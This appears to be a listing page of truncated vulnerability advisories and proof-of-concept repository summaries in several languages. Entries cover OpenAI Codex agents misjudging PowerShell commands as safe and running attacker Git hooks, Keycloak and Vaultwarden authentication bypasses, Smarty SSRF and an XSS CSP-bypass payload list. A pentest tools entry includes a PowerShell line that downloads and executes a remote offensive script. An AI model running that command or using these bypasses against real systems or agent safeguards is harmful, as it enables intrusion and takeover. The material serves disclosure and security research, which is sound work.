EUVD-2026-69394

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS misclassified certain PowerShell commands as safe because their command-safety parser interpreted PowerShell's stop-parsing token --% differently than PowerShell itself. If a user opens an attacker-prepared...

CVE-2026-19591

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS misclassified certain PowerShell commands as safe because their command-safety parser interpreted PowerShell's stop-parsing token --% differently than PowerShell itself. If a user opens an attacker-prepared...

CVE-2026-19590

OpenAI Codex Desktop for Windows and macOS could execute attacker-controlled Git hooks because its automated Git operations trusted the repository-local core.hooksPath setting in .git/config. If a user opens a crafted repository where this setting points to an attacker-controlled directory, a mal...

loxs-optimized

loxs-optimized Proyecto de https://github.com/coffinxp/loxs CSP-Bypass-xss.txt Nota: Principalmente elude el payload de CSP 2024-11-06 Añade CSP-Bypass-xss.txt a xss.txt 2024-11-07 Eliminando información que interfiere Solo se muestra la información vulnerable 2024-11-11 Resuelve el problema de q...

slides

diapositivas Una colección de diapositivas. 2025 Una historia sobre cómo desafiar a MTE: Rootear Google Pixel con el MTE del kernel habilitado en un solo intento Conferencia: POC 2025 2024 Un bug simple pero no fácil de explotar: Rootear dispositivos Android de una sola vez Conferencia: Cansecwes...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

userland-exec

Userland Exec Userland exec reemplaza la imagen del proceso existente dentro del espacio de direcciones actual por una nueva. Imita el comportamiento de la llamada al sistema execve, pero las estructuras del proceso que describen la imagen del proceso permanecen sin cambios. En otras palabras, el...

CVE-2025-20029

CVE-2025-20029: F5 BIG-IPのTMSH CLIにおけるコマンドインジェクション F5 "tmsh" 制限付きCLIにコマンドインジェクションの脆弱性が存在します。この脆弱性により、認証済みの攻撃者が低権限ユーザーがアクセス可能なコマンドを悪用し、制限を回避して任意のコマンドを注入し、ターゲットシステム上で "root" ユーザーとしてリモートコード実行を達成することが可能です。 ベンダーの開示： 本脆弱性に関するベンダーの開示と修正はこちらをご参照ください。 必要条件： 本脆弱性を悪用するには以下が必要です： 有効なユーザー資格情報 iControl...

MAL-004

MAL-004: Roundcube Webmail の CVE-2020-12641 に対するコマンドインジェクションのバイパス 1.4.5 および 1.3.12 より前のバージョンに影響する "CVE-2020-12641: Roundcube Webmail における "imconvertpath" を介したコマンドインジェクション" に対するバイパスが発見されました。 “CVE-2020-12641: “imconvertpath” パラメータを介したコマンドインジェクション” を防ぐために実装された php の “escapeshellcmd”...

EUVD-2026-68814

Smarty: SSRF via redirect bypass of trusteduri using fetch...

Smarty: SSRF via redirect bypass of trusted_uri using {fetch}

When a Security policy is active, fetch validates the requested remote URL against the trusteduri allowlist via Security::isTrustedUri. For non-http:// schemes e.g. https:// the resource was then read with filegetcontents, which follows HTTP redirects by default. Because isTrustedUri only validat...

CVE-2024-0204

CVE-2024-0204: Fortra GoAnywhere MFT 認証バイパスの詳細解説 このリポジトリには、Fortra の GoAnywhere MFT 製品で発見された認証バイパス脆弱性 CVE-2024-0204 の概念実証エクスプロイトが含まれています。この脆弱性により、認証されていない攻撃者がアプリケーションの管理ユーザーを作成できる可能性があります。 説明 2023年12月4日、Fortra は社内セキュリティアドバイザリを公開し、GoAnywhere MFT の認証バイパス脆弱性 CVE-2024-0204...

[SECURITY] [DLA 4766-1] cyrus-imapd security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4766-1 [email protected] https://www.debian.org/lts/security/ Xavier Guimard September 01, 2026 https://wiki.debian.org/LTS -...

CVE-2026-49329

A flaw was found in openshift/oauth-server. The OAuth login and error page endpoints pass the unauthenticated Accept-Language header to golang.org/x/text/language.ParseAcceptLanguage without input validation. A bypass of the CVE-2022-32149 mitigation exists: the upstream guard counts only '-'...

CVE-2018-10933_ssh

CVE-2018-10933 このコードをテストするには: ホームページから脆弱性のあるバージョンのlibsshを入手します: https://www.libssh.org/files/0.7/libssh-0.7.4.tar.xz 解凍してビルドし、その後 example ディレクトリに移動します。そこに libssh を使ったシンプルな sshd サーバーがあります。名前: samplesshd-cb このシンプルな sshd をコマンドで実行します: $ samplesshd-cb 127.0.0.1 -p 2222 私のコードを実行すると、出力は次のようになります:...

CVE-2026-83608

A flaw was found in xmldom, a JavaScript module for parsing and serializing XML. A remote attacker can exploit this vulnerability by providing a specially crafted DocumentType.name containing characters like or whitespace. This bypasses the requireWellFormed validation, allowing the injection of...

CVE-2026-43914-PoC

CVE-2026-43914 — Vaultwarden 邮箱双因素认证暴力破解防护绕过 CVE-2026-43914 的概念验证：当启用邮箱双因素认证（Email 2FA）时，Vaultwarden 的登录暴力破解防护可通过未认证的POST /api/two-factor/send-email-login 端点被完全绕过，该端点充当无限制的主密码预言机。 受影响版本：Vaultwarden MailHog docker run -d --name vw-lab -p 8222:80 --link mailhog \ -e IREALLYWANTVOLATILESTORAGE=true ...

POC-CVE-2026-18963

CVE-2026-18963 — PoC de omisión de autenticación en el flujo de «Olvidé mi contraseña» de Keycloak Prueba de concepto para CVE-2026-18963 , una vulnerabilidad en el flujo de «Olvidé mi contraseña» / selección de credenciales de Keycloak que permite a un atacante alcanzar el paso UPDATEPASSWORD — ...

CVE-2026-18963-keycloak

CVE-2026-18963 — Keycloak Reset-Credentials Bypass → Account Takeover Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email. ⚠️ Disclaimer —...

CVE-2026-49329

A flaw in openshift/oauth-server allows an unauthenticated attacker to trigger a quadratic-time denial of service by sending a crafted Accept-Language header using '_' separators to the OAuth login and error page endpoints. The root cause is a bypass of the CVE-2022-32149 mitigation : the upstrea...